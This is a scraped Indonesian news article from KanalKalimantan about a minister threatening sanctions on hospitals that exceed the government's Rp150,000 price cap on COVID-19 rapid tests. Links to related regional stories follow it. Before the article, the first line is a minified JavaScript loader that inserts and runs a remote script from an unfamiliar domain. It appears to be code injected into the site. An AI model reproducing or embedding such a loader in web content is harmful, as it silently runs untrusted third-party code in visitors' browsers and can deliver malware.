(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA– Menteri Koordinator Bidang Pembangunan Manusia dan Kebudayaan (Menko PMK) Muhadjir Effendy mengungkapkan pihaknya tak segan memberi sanksi kepada rumah sakit yang tak menerapkan batas biaya tertinggi tes cepat atau rapid test Covid-19.
Biaya rapid test tertinggi yang diizinkan pemerintah dibatasi Rp150 ribu. Aturan itu tertuang dalam Surat Edaran Nomor HK.02.02/I/2875/2020 tentang Batasan Tarif Tertinggi Pemeriksaan Rapid Tes Antibodi.
“Berkaitan dengan SE Menkes tentang batas harga rapid test pasti kalau ada rumah sakit yang mengenakan biaya di atas itu, pasti ada sanksinya,” kata Muhadjir di kantor Kemenko PMK, Jalan Medan Merdeka Barat, Jakarta Pusat, Kamis (9/7/2020).
Namun mantan Menteri Pendidikan itu tak menjelaskan sanksi apa yang akan diberikan pemerintah kepada rumah sakit yang melanggar aturan. Dia mengatakan aparat kepolisian bisa ikut terlibat dalam pemberian sanksi terhadap rumah sakit.
“Itu kan sudah urusannya bukan di domain Kemenkes nanti. Sudah ranah aparat, bisa dilihat itu berkaitan dengan pasal-pasal tentang pelanggaran,” kata dia.
Kementerian Kesehatan telah mengeluarkan aturan berkaitan dengan batas harga untuk melakukan rapid test yang harus diterapkan di semua rumah sakit dan fasilitas kesehatan. Dalam surat tersebut juga dijelaskan besaran tarif itu ditujukan bagi masyarakat yang melakukan tes secara mandiri.
Aturan batas maksimal biaya rapid test dibuat sebagai acuan rumah sakit atau laboratorium dalam menetapkan biaya pemeriksaan.
Menteri Kesehatan Terawan Agus Putranto sebelumnya mewajibkan seluruh awak dan calon penumpang angkutan laut maupun udara melampirkan surat keterangan sehat dan hasil pemeriksaan rapid test antibodi saat membeli tiket perjalanan.
Aturan ini dikeluarkan melalui Surat Edaran (SE) Menkes Nomor HK.02.01/Menkes/382/2020 Tentang Protokol Pengawasan Pelaku Perjalanan Dalam Negeri di Bandar Udara dan Pelabuhan dalam Rangka Penerapan Kehidupan Masyarakat Produktif dan Aman Terhadap Corona Virus Disease 2019 (Covid-19). (tst/cnnindonesia)
KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More
KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More
KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More
This website uses cookies.